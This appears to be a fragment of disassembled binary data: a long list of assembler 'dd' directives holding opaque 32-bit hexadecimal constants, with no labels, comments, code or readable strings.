dd 0DE866915h, 55DE5455h, 72D7C073h, 9C5586F9h, 82661577h
dd 9716999Eh, 743D9529h, 0E03CB451h, 68EAB6CFh, 0F633C149h
dd 0DB36657h, 2822F9CAh, 755028E4h, 0CA826034h, 0CCA736Ch
dd 0E6B60BDBh, 6A18A306h, 957BDA9Fh, 6719B9F8h, 188F5E9Fh
dd 50FC553h, 0CA8F4AADh, 0C363B99Fh, 45F54AC0h, 0F21FB2BCh
dd 0AF42B18Fh, 1A1484E1h, 750AA471h, 0CE9404BCh, 1F7C45D7h
dd 2A7FC469h, 4B94EEE1h, 1F9DD045h, 19C0510h, 1177D23Ch
dd 6571EF5h, 5EC0DB9Ch, 81F9FD05h, 0D1826811h, 578DF36h
dd 0A8C247FDh, 0A0C94B20h, 0A79F2EFFh, 87304B52h, 1085CA74h
dd 22B6832h, 0EC2C407Ch, 0B8084297h, 345D6AF6h, 195DD445h
dd 0BC1E8EE3h, 0A144A2EAh, 0A80832BAh, 57F3E328h, 6485F206h
dd 0C453D74Fh, 52086229h, 0D7ECC6EEh, 8E912880h, 0D63DCC32h
dd 62E147F8h, 0D8099546h, 0A7D4FF4Fh, 10719B0Ah, 3BD7C393h
dd 0F7ECDFBFh, 47B71A54h, 0BF28C3A2h, 0B8BD1330h, 23F62A29h
dd 6D797CD0h, 0AF1945DFh, 0C6534C37h, 2453C460h, 0AD5D0D98h
dd 4F7D0D6Bh, 9420A980h, 66D37A45h, 420C5EFEh, 0E0040089h
dd 61C91530h, 57797D46h, 4CC20766h, 80A2BED7h, 4E2A698Dh
dd 0D0ABCE83h, 0A7D3BE08h, 99C4BAB6h, 2990F4AEh, 4E392D43h
dd 0ABEECC2Ah, 8193FDF4h, 8A6316B4h, 154486D0h, 0F118429Bh
dd 0E473847Dh, 9F845B42h
dd 603430B2h, 19632D29h, 285AB6A0h, 0F4853D3Fh, 0DA8BD173h
dd 2DC8B11Ah, 42DEDFC4h, 45EFB9FDh, 145C8D70h, 0C91AF217h
dd 8D082A85h, 0AA9BE689h, 745BFA83h, 6B5AE8F9h, 47949839h
dd 22B6D68h, 0A1528AEBh, 0D3844716h, 0BB93889Fh, 0E259D23Ah
dd 95C238FCh, 29603388h, 0DEF1E935h, 0C47A445Dh, 4384A61h
dd 92B4CDC7h, 0D871131Ah, 6F0769E9h, 0EFA35A9Fh, 0AA1E8B22h
dd 9CA6FF8Fh, 0E8257616h, 8E02E32Eh, 11EA3BADh, 4F6E2541h
dd 5441C9F5h, 0D462A402h, 0EC799BE5h, 1050C3Eh, 690C813Bh
dd 0C49CB02h, 0B6350C96h, 0F812824Dh, 13B7BA60h, 0E3E0BC48h
dd 96CE7D53h, 687377ADh, 0E9F82217h, 881000h, 6057702Bh
dd 482C1AB1h, 1286C1F4h, 8CC2FA4Dh, 0E433DFD1h, 496DB03Ah
dd 0E205308Eh, 37FC134Eh, 0E1E3B6D0h, 79B7379Fh, 0ADB22D82h
dd 0AAEC67C0h, 0BE45EBA4h, 5DA24BA5h, 19754EA6h, 48BF97B9h
dd 0E031E9D7h, 0D11F0D3Ch, 94F3E2A6h, 0FD4D23D4h, 0B46748C4h
dd 75C4524Ch, 29180105h, 1A5FFEA2h, 512B9B50h, 3A33FAFAh
dd 43C0E5DCh, 0B2228AB1h, 6CD174BAh, 1F0A3B32h, 472E2F92h
dd 62857988h, 6B39B197h, 3CF832EBh, 0F0EB2D81h, 0C068B451h
dd 0E0116FA2h, 0F0FA98h, 338A2C01h, 0F4802A4Eh, 0D3FBB45h
dd 0D286E220h, 0FDB7B6EAh, 310615F1h, 6EAD5E9Eh, 713EB3FBh
dd 0BDCD2C0Ah, 7FC59D8Eh, 3D9412Ch, 726896A0h, 33E2767Ch
dd 20D6C2BEh, 9824D246h, 34F67CEh, 7C33A448h, 193FEC0Bh
dd 493368E0h, 0C61FB122h, 0B4D189DEh, 4C0CE3A8h, 0C9C714F4h
dd 6172D5ECh, 62297E80h, 0EE3A07F9h, 114FE463h, 0F1D48B4Fh
dd 8A77030Fh, 0A9CB5A50h, 4A8011E3h, 0CE221A8Dh, 0CE483130h
dd 0ED577B00h, 9A018CA1h, 18E5F897h, 339F90h, 771188DEh
dd 0D1089E23h, 3FF4861Ah, 0D0D4CBADh, 8A3E177h, 3BF7591Bh
dd 91A0974Bh, 9DA83386h, 0F9965EBAh, 7975ADA3h, 89027E3Dh
dd 57D24886h, 86595C21h, 598A4DEFh, 0F045F999h, 1F171291h
dd 52269571h, 970F5404h, 5DE9AFB0h, 0E20249B5h, 95C943D7h
dd 519C5774h, 0F4C7A415h, 48F893ABh, 0C33733Fh, 0EC4EAAE1h
dd 4BAE19F6h, 0BEC28312h, 0BB59CBh, 791168E0h, 0FE2CDFACh
dd 0B2EB66Bh, 693218DAh, 0E7AF8080h, 0EC8880C5h, 7130C2BBh
dd 519F8261h, 0FB4E95A2h, 0E6FAA0AEh, 9768BCAAh, 0ECBA8C1Eh
dd 989CBB42h, 62C0F19Ah, 470028F5h, 0C0736D97h, 0F9BFAC60h
dd 849D3F4Fh, 2E8AF376h, 0A4A1D0DBh, 2425EC74h, 0A839FDECh
dd 867D5ED6h, 0AED3D68Dh, 65285F42h, 7A56AAEEh, 0AF66C4D8h
dd 0D26414AEh, 60324BFAh, 61A51A8h, 9EAF5F15h, 0BD5D3120h
dd 0F744260Ah, 7E1BD705h, 455F1715h, 7D884613h, 8B4C86E5h
dd 0DB582D62h, 9F4C308h, 96CABAF0h, 58B522BAh, 314557B4h
dd 46EED5A8h, 0E461195Fh, 0EA68F506h, 0F73310C3h, 9C6CA185h
dd 22689AD1h, 835266FEh, 2B2F544Ah, 0B3D806DDh, 7322B9E2h
dd 958452D7h, 1994C26h, 455C94CCh, 82AE7DB2h, 0E17FEA4Ah
dd 309E9BD4h, 3B2945BDh, 0BF2ED5CAh, 0BFD19F61h, 4D8B197h
dd 5B6DE777h, 30547E4Ch, 0C22D1886h, 626387F1h, 90D05BBAh
dd 6359008Eh, 0DCED2D8Fh, 247434F5h, 80091746h, 0A0925570h
dd 0BA573A7Dh, 5DA23F7Fh, 9D3284E9h, 1DA8C09Ah, 5845A9CAh
dd 6E46A0A9h, 0B09968C2h, 274613FAh, 0B08E5DC1h, 11D115Ah
dd 52B004CEh, 11F21415h, 46119A46h, 9A46B09Ah, 0B09AF2B0h
dd 815F11F2h, 22AF5A2Bh, 93B0604Fh, 22C7BC60h, 3E8BB3BAh
dd 56BBD156h, 4745511h, 9738A2D5h, 0BBF58926h, 0C998221Eh
dd 0E489A1FAh, 5319A752h, 0EC8955B4h, 1474BDAh, 57FB2C73h
dd 934EA55Ch, 3EFC028h, 1D5955AFh, 5D645F02h, 0C9868A93h
dd 2B2B3C7Dh, 0D02FAD4Ah, 4844F92Bh, 4FA859E5h, 0C68A776Dh
dd 52FB8AF8h, 0E612FED5h, 4ADA0EAh, 9F5F028Eh, 9E72A369h
dd 85DB467Eh, 0F49857D6h, 0EDE343A4h, 496AE57h, 0B466FEA8h
dd 3F3D4111h, 9B5D3D1Fh, 7DE67F09h, 0D35059DCh, 7BC8CA22h
dd 9F442A7Ah, 9F486651h, 686B53A1h, 88231339h, 463C18A2h
dd 8A0517B4h, 0CC2EACEh, 0DD600AE3h, 0ED1D6A37h, 810C8FBAh
dd 1558E5AFh, 0CE1BC1EEh, 67C1BE77h, 83AED046h, 0CC4DD380h
dd 0A280299Fh, 0D82255B8h, 5BF3F3FFh, 88CC34C5h, 0C46FD823h
dd 9A23096h, 34D0Dh, 68C33C27h, 0E1DA3704h, 825B09D2h
dd 0CF35643Fh, 6F088342h, 0BD84483Eh, 0FF175C80h, 902452ADh
dd 0ED18592Dh, 0FD12AEEh, 0B74DEBE0h, 0AA06700Bh, 0B2984570h
dd 0A62372BDh, 9A0778DFh, 8C5885A2h, 0A43F4C02h, 7D6FE6B2h
dd 0F673098Fh, 0F91EC4AEh, 4273CBE7h, 66B989B0h, 3C09D8F0h
dd 99A0D283h, 119C9DDBh, 0CBCF677Fh, 0B5A0FBB8h, 0F0B8980Eh
dd 8CC98E81h, 9E04A2EBh, 24239324h, 468BE42Bh, 997C65EEh
dd 63B15A00h, 0FAF04A79h, 7A032CB6h, 9AC1960Fh, 0E659504Bh
dd 95BF1BF5h, 9221EF64h, 3BC14806h, 0D054D0DAh, 0ED1FAC89h
dd 49B499C5h, 0E81BC529h, 8D9EFEAEh, 51657A3Dh, 3FAAAB53h
dd 225FF6Ch, 157D4C6h, 0D8C26A63h, 0C69507D1h, 0D74F7ABDh
dd 7011D9EDh, 0AB81F227h, 12BB7F02h, 16BEDE82h, 0BB3D3DB0h
dd 0BE0988B2h, 0BD41B016h, 0BBA160F4h, 6C1B6AE3h, 0E3284A5Dh
dd 15D79FD4h, 9013B60Ch, 2275974h, 15E5362Bh, 4E8251F4h
dd 0E606AAB4h, 82FFB88Fh, 70292815h, 12F20FCAh, 0AD57073Ch
dd 1D5E85E5h, 0C760AD4h, 5740DA20h, 886612B5h, 0D0D81A6h
dd 0B476B605h, 8A1AE02Ch, 0B3141A36h, 0B15E1977h, 0ED0D1B1h
dd 0CC17DA35h, 8A1E04CFh, 3C999818h, 1A44609Dh, 0FCC21CB4h
dd 0DE9A7E5Ah, 187171D6h, 71C54ED3h, 0CC0A7522h, 5805D945h
dd 0D01017E4h, 23564DF5h, 0A8F5E90Ah, 0D357AFABh, 216971E8h
dd 0D307E5CBh, 0F878AE93h, 63A8F3D8h, 0D8F2059Bh, 2C60D21Fh
dd 9929296Eh, 0C01691D5h, 9DE46E6Ah, 41247811h, 0C7F2C240h
dd 1739D9Eh, 5087F44Ch, 1A3DEF7Dh, 0D9207122h, 0F9C2024h
dd 62C39E8Fh, 591B426h, 1CF443ACh, 7FF3444Ch, 6BD31C2Eh
dd 6C14B208h, 4C02872h, 3BB1251Fh, 0AB93E2ABh, 93EE9038h
dd 5E901338h, 5AD1304Eh, 8B58978h, 78D75991h, 0CAEBEDACh
dd 7EB350A2h, 68175173h, 7BDFCE8Eh, 0B2AA5151h, 56055150h
dd 9B486D07h, 56828AADh, 0BAC666E1h, 709052B5h, 0A7F42C18h
dd 59A5615h, 0CF46CA11h, 3BE732BEh, 0AEA2621Bh, 0E88D350Fh
dd 2CCF21E3h, 0F67620A3h, 916B3C77h, 6FE22431h, 0EC8ED284h
dd 918B6C1Dh, 0C9435C62h, 0C69360F0h, 0B1F4F88Fh, 9ECB63E9h
dd 23A250DFh, 0A79577BFh, 9B90FF9Dh, 40170E75h, 2420AB93h
dd 0EB204C6Eh, 1DAB252h, 9FBD032Eh, 16348351h, 0AC237766h
dd 1681091Ch, 847CE529h, 8125A394h, 25798F30h, 0DD2508ECh
dd 70ECF488h, 5D136C82h, 340D318Ch, 6FABB44Fh, 7769B656h
dd 2820BCC5h, 3E7BC22Bh, 0F88F7D3Fh, 4C6A3C0Eh, 264E4111h
dd 5CCAFB3Ch, 7F6C3421h, 5B11E37Dh, 0EC2780D2h, 7FE2EA8Bh
dd 0C8D49975h, 74B8ABE5h, 81166D95h, 259FA8BFh, 86995639h
dd 58A0C4B0h, 3DADBC8Fh, 660869B2h, 1F74F85h, 15608AFh
dd 187AA218h, 537888F9h, 0A83CAB7Eh, 0AE160BEAh, 3EB742EEh
dd 45F519F5h, 0EC742208h, 0A3921929h, 1F5BC6E5h, 1F7AC125h
dd 0EB94736Eh, 0FA8ACA8h, 0FC5F673Fh, 0F48EE654h, 0B54E6C88h
dd 17CFEB15h, 7A7E5774h
dd 3B75BD73h, 0A92CC23Eh, 4FBD98AAh, 89AD9CB2h, 82AD9F5Ch
dd 5D9EDE71h, 0FED08D78h, 0D3428AB7h, 0A2875C9Dh, 8205B991h
dd 84ED260Ah, 9A17A2E0h, 5DA2352Dh, 230B288Fh, 0EBD0968Bh
dd 95C425CDh, 22E4560Dh, 0D9D1DCAAh, 441C3CA4h, 96061C91h
dd 0EA8E452h, 0AE148528h, 0B256A399h, 0E920808h, 54208A63h
dd 77C188Fh, 118429D1h, 47A5D0E5h, 6C09E910h, 0C512B92h
dd 11B008FBh, 2112FC94h, 2F32278Ch, 6404468Eh, 0CC875009h
dd 5D69595Dh, 0F05B628Dh, 0AB521304h, 2927240Ah, 0E23E700Fh
dd 0E63C55EDh, 0C6D2F50Ch, 0B51E0F71h, 4FAB0267h, 0CD40C1E9h
dd 38EF5AA6h, 0AD66CBF1h, 30BDCF17h, 5EC29CC6h, 0E51ABF98h
dd 0C580F21Fh, 0D1C01844h, 652CFF07h, 7C9ADADEh, 5A090D52h
dd 8B7054CFh, 0F468E287h, 0DC8A2Fh, 701B659Eh, 0B69F7183h
dd 0C9769465h, 6929EDA7h, 971E04B3h, 0C60BC35Ah, 3772A512h
dd 0C52328EEh, 9D217CF5h, 0F488CEDDh, 0C2721A17h, 8ADA62FFh
dd 58E529EBh, 6B2F3F0Ah, 632C5092h, 1A046C17h, 0EC36A3Ch
dd 0D6605C0Ch, 55140599h, 85020EF0h, 83164351h, 3775513Ah
dd 14179144h, 9B46340Ah, 0A4D3B6CFh, 34F7BC9h, 0A3A3FA88h
dd 0E23A791Eh, 27B2970Fh, 0A1D45C0Ch, 97BCFACEh, 4D8D0321h
dd 4FA79C05h, 0F7913298h, 0F5134BF8h, 45014987h, 722931FCh
dd 42980BD1h, 11676BF7h, 0B4F2C7Dh, 206DBC9Ch, 6136791Bh
dd 131D1B38h, 0B3DED07Fh, 67BC7409h, 34BF4605h, 0C81A89A4h
dd 0FC2F94A6h, 3E1F7BC9h, 0BF68EF79h, 69A2A757h, 6686F792h
dd 4E753DE4h, 8F79B3DEh, 2D7BF8FEh, 16C5FBD7h, 1F7732CCh
dd 0E3034E12h, 14C05910h, 35E351EDh, 6681D153h, 0A44D742Eh
dd 8AE06412h, 84CBE922h, 2EB5A382h, 88FE7E17h, 6099C7BCh
dd 0A28AD8C6h, 29C4953h, 8D3A290Ah, 0E807C434h, 0D4CC754Ch
dd 18C044D7h, 0C33CA7AEh, 0B46DF181h, 9AFB401Ah, 0A9D3340Ch
dd 0D49060A1h, 0A4647ED5h, 0B0F382FBh, 7520A62Eh, 1E1E1554h
dd 69151FAAh, 2E99609Ah, 0B64CAC0Eh, 0F2451766h, 53364CABh
dd 49DB33D7h, 0FDD13857h, 3455061Bh, 9847DB02h, 0B04D8A69h
dd 878115A9h, 5B33AEDEh, 88B95985h, 5A886732h, 54617588h
dd 67FBAA29h, 8ADB3190h, 0F0F6A638h, 9BCB9516h, 0D291314Eh
dd 1A6EE69h, 1775FA44h, 9B41331h, 0ACFA05A8h, 98880653h
dd 7E9F5A32h, 0F193C1C4h, 5184D117h, 0D6608C3Ch, 6672F30Eh
dd 4037F184h, 1413F4E9h, 14083109h, 0B661AB45h, 6282736Bh
dd 0D99F6180h, 27688B3Dh, 795C03ECh, 9034C387h, 96702346h
dd 1347EBD9h, 98844DCCh, 7F34D22Ch, 0BE8C604Eh, 8BFC5011h
dd 6984D728h, 33948680h, 0B3E888FAh, 0F68A60DAh, 497ECF41h
dd 3D142120h, 500AF420h, 2B95C685h, 2C1A4220h, 64408522h
dd 0B42F5301h, 2EF38B2Bh, 3AA084D9h, 33A92E9Eh, 0CF88F2BEh
dd 0BEE598CEh, 2237DC3Ah, 67A6EA9Ch, 160C1003h, 0D781F5FBh
dd 0BC76F90h, 44A08ABh, 0F218C86Ch, 0F09B01F1h, 1F21F513h
dd 571F303Dh, 0F3688C8h, 0D8B8218Fh, 0B8662C06h, 0CE1E357Eh
dd 0A7835AC8h, 21F0D24Ah, 0BBCBA38Ah, 5C86D44Dh, 6A2A8E73h
dd 1C271373h, 1849EC1Eh, 0F3FDB01Ah, 4232E4AAh, 0CA2AA01Eh
dd 330BBB8Dh, 95D5BA8Bh, 0BFA67007h, 0AC3793E8h, 69207689h
dd 0A956E062h, 14410C40h, 0D89DB45Dh, 4D182E4Eh, 5119F916h
dd 7C023040h, 61FE7D8Dh, 7F999D42h, 0C86222F4h, 0B73B96E8h
dd 184668EBh, 0BC770D26h, 97201B0h, 0F52EE405h, 0C220E36h
dd 0CE05B4D6h, 0F4B18430h, 14825E32h, 1D80860Ah, 915C6054h
dd 0BB4894CBh, 3CE3D00Ch, 7D7BB07h, 0CB31036Ch, 8AD6960h
dd 0F3037A6h, 1482304Dh, 993173C5h, 71A1AC76h, 0A2B7CC17h
dd 0AD276D72h, 0B9098736h, 0CF5846B0h, 11DF6A9Ah, 145750F6h
dd 8AFEA50Eh, 49A5F3F7h, 0BD767691h, 40523054h, 7EF00142h
dd 1C040773h, 0B2892047h, 0E3B44777h, 0F5D72014h, 0A7F58085h
dd 0C125D836h, 4B6E1296h, 1FBD3FC8h, 0C9F8B396h, 0A3DD7ABFh
dd 0E28DF85Bh, 9CC07E60h, 0FD052F1Dh, 3E1EB6E0h, 0B0250DFFh
dd 0D951B55Ch, 0FC2CEDEh, 65CA938Dh, 8EA1721Fh, 1E084A1Bh
dd 8843A4C0h, 54CFC01Ah, 1BA8C1E0h, 0D2E93493h, 43348A38h
dd 7AACCB63h, 4C5D407h, 0AC5B6273h, 18825CAEh, 91878B4Dh
dd 0D4C0124h, 519BA914h, 42940FF1h, 0F1518C33h, 0B546CC57h
dd 6327A934h, 0C3A3423h, 0B8C87468h, 81604607h, 0B3246249h
dd 0DAB6E601h, 0CDAB5218h, 0B2F6723Ch, 54427262h, 0DAC4310Ch
dd 7E8DC03Ch, 0D5915D73h, 73CED4C5h, 1929784Ah, 0AD7255FBh
dd 0C069BB65h, 0C64B9C9Ch, 507A648Ch, 1C6245C1h, 10AAC1Ch
dd 0D590C0EDh, 4F1553BDh, 0A42518B7h, 0AEE45A22h, 65D284B7h
dd 2EF6E2A5h, 0A8A9ED41h, 36651608h, 0DD0ADF45h, 0A2B01202h
dd 5924B75h, 5BB273CCh, 70880278h, 85899215h, 167C1D4Ah
dd 0C769CAC8h, 12AFA8A9h, 3A4ADE14h, 89D9076h, 341E9D00h
dd 184F645Bh, 936E8826h, 0E946E745h, 0EE4B328Ah, 0BA2EC7FCh
dd 4DC3A030h, 0C7BDF904h, 874201CBh, 0B6FA5DE3h, 9E664EBh
dd 0A4A9736Bh, 8E6BF3DCh, 3976E5FBh, 0DC763D22h, 1355D4AFh
dd 0F442030Ch, 0A6F00DAEh, 7EBC960Dh, 8CA3D39Ah, 0BA46D016h
dd 0A305101Eh, 799E9670h, 0C4449E5Fh, 0EE8181F1h, 1B0B3D84h
dd 40D8BF21h, 5F99D049h, 0CCC10D4Fh, 1E6A5504h, 0A40929C9h
dd 38C1D826h, 0AA8475BEh, 4C172280h, 7D4C730h, 0D70FCA83h
dd 195D7298h, 9077350h, 306D2E13h, 368298Ah, 30875955h
dd 202D07D0h, 0A819C058h, 22065821h, 0EF3C4CE2h, 6AD6A1F0h
dd 289BCF1Ch, 0D0385F34h, 0FE3A8574h, 0DCBBC9C1h, 349825B3h
dd 358396BCh, 0AE3E39E0h, 28459E18h, 41297767h, 0AE1FA982h
dd 7C79A233h, 40553182h, 91C6BAADh, 0ACACEA6Eh, 0EDBD1B6Dh
dd 0E7CAAE5h, 0EFC77186h, 0E2FBDC6Ah, 2C1FF5ABh, 0A6D31936h
dd 0B2219589h, 5180DCEAh, 0BD0143A7h, 32BF7B03h, 0ACEDAC00h
dd 0CB6D9971h, 0A486B868h, 5DD11B76h, 3558EB18h, 905BC68Bh
dd 2EAD2EF4h, 0DB0DD8ABh, 8D0156C8h, 1C46543Bh, 12CCAC51h
dd 0FB9A121Ah, 0F2D51B5Eh, 2BC54F1Dh, 65FD8A21h, 0E2EFB301h
dd 477FAED6h, 38AEF49h, 0AE0DF86h, 17074D23h, 0F12569ADh
dd 57F1DE51h, 68EF5589h, 1598F53Ah, 2519F3Ch, 92FEBAFEh
dd 0E3F95DAEh, 0BEB20559h, 0DB0AEBEBh, 2B9C9559h, 701A2A1Bh
dd 0A7D43010h, 0EF790D87h, 0A3E1A194h, 540D1770h, 60318B9Ch
dd 0AC525B3Eh, 24148A04h, 55EAF550h, 8FF59DEFh, 65AD0EFBh
dd 2B91556h, 16BD7D29h, 99D9AA9Eh, 0B552D2C4h, 53551B3Eh
dd 0B32D5078h, 61557653h, 1E7D1BF0h, 0BE86731h, 38176AC7h
dd 957AC78h, 507FAAECh, 6BDD49F3h, 0B42EED1Fh, 0A53C1D57h
dd 3E080644h, 0A4FF3486h, 87D6998Ah, 2290E15Ch, 63869BA6h
dd 89AC3DCh, 48EF736h, 2E0CA7FEh, 0BDCECD78h, 0E0606DF4h
dd 0D4E4A0C8h, 63065018h, 0A2998D16h, 58C935AAh, 540CBDDCh
dd 8F7886DFh, 1B0A736Ah, 0AD9CE0D2h, 4507A601h, 4B3FB8Fh
dd 0E98A508Fh, 62202B33h, 94E66DE3h, 1F042FBCh, 5261355Ch
dd 0A6321306h, 85D68865h, 0CFD22D48h, 61E240FAh, 0DF301901h
dd 0E961B0F4h, 84F0E104h, 29E14199h, 30C67F22h, 1213330Bh
dd 8EA6BF48h, 0BCC6C456h, 0CC65F7AEh, 883187A0h, 10AFDC67h
dd 452F13F6h, 0AFB631D1h
dd 51862D7Bh, 15F2F59Fh, 3751CECBh, 4BEC548Bh, 3A76B818h
dd 8E503958h, 96BBDD94h, 0C6CE45F7h, 756AE665h, 8BA8866Ah
dd 6063BE36h, 0EC8B59D3h, 2B0BD597h, 0EA13041h, 2CD3A139h
dd 0B8AAB4F5h, 50364C13h, 2B5831B0h, 4B83B544h, 40A5A847h
dd 0CBF9882Bh, 79365D7Eh, 0E8C29617h, 0D852A4CCh, 0F60F62A1h
dd 0B940F748h, 6FFEF361h, 531CCB7Ah, 58AC1237h, 16116C3h
dd 5A374877h, 0BBCB2E01h, 6BBAFB8h, 0E9A8D519h, 0FFCC7211h
dd 6B261B62h, 1701850Eh, 6F139AA8h, 0A8B4B441h, 190F2156h
dd 0D5D96972h, 0CC51C6E5h, 0CDDA4F9Fh, 0F3991964h, 0BFE4FFC0h
dd 0B4CC115Fh, 606A090Bh, 590E8215h, 0AA093EF3h, 63A18564h
dd 0EF6E1161h, 0C861AE83h, 0DC023265h, 438390FBh, 31B918C2h
dd 2471E281h, 10DA265Ch, 9AFB8244h, 0B3A928DEh, 18CDC665h
dd 85D10147h, 0D024B8CAh, 0DD339F1Fh, 0D7C4D196h, 0B2A947AFh
dd 0FBBC66CAh, 3D8CC452h, 0FD725773h, 0E54A1872h, 31154515h
dd 0B8F73AA0h, 0EEC0D441h, 65D0D19h, 0B343BC68h, 0C529F0FFh
dd 0C94B6BE9h, 73810CC9h, 8E5AB732h, 70373664h, 0AF81977Ch
dd 9025F7EAh, 5A6FAC08h, 7111F5ECh, 0BEA6521Fh, 0B7E9804Ch
dd 7942FE62h, 0A3B35Dh, 0ECE38729h, 84420C65h, 3D05F562h
dd 0ACB9C15h, 0A1F9715Dh, 0A40C3C19h, 426EFE80h, 7EFEE50Bh
dd 0D8F4CEBh, 4E644AC6h, 4D20DFBh, 33AFD2B3h, 0DEB6548Eh
dd 0F813718Ah, 3019CD25h, 3813DC72h, 357197Bh, 81593B9Ch
dd 6066CDF7h, 19764752h, 0A20900AEh, 5C8AA4Ch, 508D60ECh
dd 2E5080FCh, 0AE1075A3h, 31B02203h, 0EE808D38h, 6094E0Ah
dd 3868B8EBh, 983DA17h, 221C17C5h, 0A3901984h, 0A49D1F41h
dd 0C09AC1F4h, 8FF181A8h, 8209D402h, 674E09FFh, 7640AD75h
dd 541C5A15h, 0C3BFF461h, 8E14540Ah, 0B8685461h, 870568B2h
dd 60ADEFC2h, 99983D28h, 1F9A6AA6h, 5E372DCAh, 0F2CE30DAh
dd 242ECD5Eh, 971B36E1h, 0B9490A5h, 17598294h, 0DAEBD461h
dd 61CFDD05h, 18725DEh, 82850385h, 4F5F2379h, 0B8C3A179h
dd 172C1590h, 8836794h, 0B810C94h, 8FED3512h, 0C286500Dh
dd 11C08048h, 0CB54BCE3h, 0DC262C18h, 422EFEB0h, 75A96E8Ah
dd 94CB7365h, 5E6632F9h, 4EB54A85h, 0EE041318h, 68124E1Dh
dd 0B5037D8Eh, 13BD4FEDh, 0EBAF0F9h, 9F52F8Bh, 3A5D508h
dd 0C4F96874h, 0D106C2E8h, 10CA8A4Ah, 60F07538h, 0F9E1A6D2h
dd 0CA44246Fh, 2CA75946h, 72E51E3Bh, 0BBB6691Ch, 9815CECCh
dd 4A1DBDA0h, 0B4D05EABh, 0FB51DC60h, 0CB50C08Fh, 0F6D19260h
dd 279D5834h, 0B7AF1C81h, 8F2A6470h, 6C6D04E3h, 0CD840DB2h
dd 0D7D41760h, 8FB6C950h, 0DDF889E2h, 9D9F75CFh, 862E5DD9h
dd 0FC484027h, 477DF0EAh, 4B1FDD5Bh, 6061FA26h, 0C6C285F0h
dd 1A4BF8A2h, 0B339406Fh, 41C1575Dh, 0A4FFC1F0h, 4F5834BFh
dd 12C8031Fh, 85C32AE0h, 89B4DB86h, 955BABE8h, 0F41B43E0h
dd 7D626FC7h, 10C0F7F2h, 0BC20E81Dh, 50D24D0Eh, 2366D714h
dd 0EAFC04Dh, 0E10F7A17h, 0BB84C226h, 0BE01A25Dh, 22208248h
dd 7B90183Ah, 0F839A1Dh, 1AEA4709h, 0EAFE0689h, 10FC4060h
dd 0E76F226Fh, 0E30325EEh, 9A14F35h, 478A22Ch, 528BD7EEh
dd 73801AF8h, 87DFB3A1h, 0A99099AFh, 0B7113EA8h, 0C6C39BA7h
dd 9D8C3255h, 216CD1D9h, 4264E873h, 30D44F6Eh, 43424E8Dh
dd 0C4C222A6h, 37F59EDCh, 1D64595Ah, 26761532h, 0B4AF6E8h
dd 63E93318h, 4CD72A64h, 8691EDD4h, 544FFDE8h, 66C65323h
dd 89E16EC2h, 644AB6BEh, 71339D1Eh, 0AE6227B7h, 23BE7DD7h
dd 2645153h, 90B54F6Fh, 48D28A23h, 1332A2A6h, 0C7F57B79h
dd 53C4771Ch, 637E1532h, 0AA18F6F4h, 0E74C7D4Eh, 2B8AEA1Dh
dd 13248A99h, 0A5257B7Bh, 5A64308Dh, 0CAE61532h, 99EFDBE0h
dd 292C2EA5h, 0CE85E256h, 0A7C57BECh, 32B920A8h, 7ED336FAh
dd 3668BA8h, 0CE85E095h, 0D9394F80h, 0F8652129h, 6CB63A6Dh
dd 0AA357317h, 999D9F44h, 93B2AAF4h, 0DBF80A43h, 2EB175C4h
dd 0C25AD966h, 0DBD239EFh, 0CDFFAE3Eh, 22896FEFh, 827BB3A1h
dd 2BB1D93Ch, 59157113h, 94F6097Fh, 54E2327Dh, 122AEC26h
dd 0E9ED9448h, 0C0F96521h, 8454EC4Ch, 13DBB43Dh, 0C8FDCA51h
dd 0EDD08099h, 9D94F4FCh, 0B7515228h, 0CDF0BC27h, 532833CDh
dd 943FC851h, 0BD4D593Dh, 1E6F1EFEh, 42B70EB4h, 0B789C367h
dd 6F54DD3Dh, 65659878h, 0D04CC22Ah, 2B4789EDh, 2B60F6C5h
dd 22641153h, 1C934F6Fh, 3A3C17D2h, 53DB4B0Bh, 0C3BCAEAh
dd 0FF1170DDh, 0DF4FA3F7h, 6766532Bh, 0B3A26E62h, 289E056Fh
dd 0CC55A65Ah, 5D15DE04h, 84D83254h, 90A32D4h, 1458A4CCh
dd 73FA320Dh, 9044E50Ah, 94D8FFA2h, 36DAECB1h, 4B0A4CCh
dd 8E1D9CDFh, 42D33F6Bh, 74D89B4Ah, 36D4B2DBh, 22B0A4CCh
dd 0A8A4C5A9h, 6A79E76Dh, 4B21419Ah, 50505366h, 37B441D6h
dd 8F2B7DFBh, 22E92193h, 8B3383C5h, 8994D978h, 0FB481F36h
dd 7ABA4F56h, 13358A99h, 0F52D3E70h, 0F8343CFEh, 26541532h
dd 0BFB27CE6h, 0F628297Bh, 6CC62A65h, 9BFDF9D8h, 15BB5C37h
dd 0E44CF333h, 0B372A8F9h, 0CC48E35Fh, 60998454h, 0E87DD1F3h
dd 98A7FA93h, 0F13348A9h, 0F7F5A3E6h, 317D0B30h, 42641153h
dd 888247CEh, 6352163Bh, 44C922A6h, 0D7658F9Dh, 0E8F9CF40h
dd 0F2E615BDh, 6454E04Ch, 0D1F37B7Eh, 6EF9CCC6h, 0A2A6D898h
dd 8F9BA28Fh, 2D5B6692h, 454C84CBh, 36F859C4h, 0E330CDD5h
dd 7B2A2E6Ah, 0A248BE40h, 44521BD6h, 99DFA53Fh, 0D8390C9Dh
dd 7E11AC17h, 0D8CC8CA2h, 5543398Ch, 48A7BFFEh, 0FC074521h
dd 4FE2D136h, 53B93194h, 4F23239Bh, 0D1488A43h, 6A50CA6Ah
dd 60E67A76h, 0F044B057h, 93273289h, 9FF1E233h, 0A7663A0Ch
dd 0E9E0148Ah, 0D66BAB69h, 54CD4CE1h, 0D3787654h, 0E64368D3h
dd 0A99A9992h, 0A3D831E8h, 96F7EC27h, 0C8A91CBEh, 27A6FFD9h
dd 0A35D9B86h, 454CD133h, 3D0F2B85h, 0EFDADCFDh, 2A662653h
dd 0E9EC8B7Ah, 79A5F0E9h, 54CD4CF0h, 0D0CA9FE4h, 8653EF13h
dd 0DF046452h, 2668468Ah, 8A72F4F2h, 24696230h, 4CC12A67h
dd 7F74E9C0h, 5AD35FAAh, 993554CEh, 0B7A8D3B8h, 0D027F94Eh
dd 3377A99Ch, 0CA91A6E1h, 0D44FD2EBh, 66475339h, 0F5A24EA2h
dd 0E9BA786h, 0C748A676h, 3F012E08h, 32AE8219h, 5FD95C14h
dd 0E948DAC4h, 61D23B01h, 0FE11BEAh, 11978250h, 0A505887Ch
dd 8F8120AEh, 2E8078C2h, 80F0A9F0h, 87C24B49h, 0F4097C30h
dd 3C5D3E01h, 20940882h, 820908C2h, 0E9DD5546h, 2BEC8AF5h
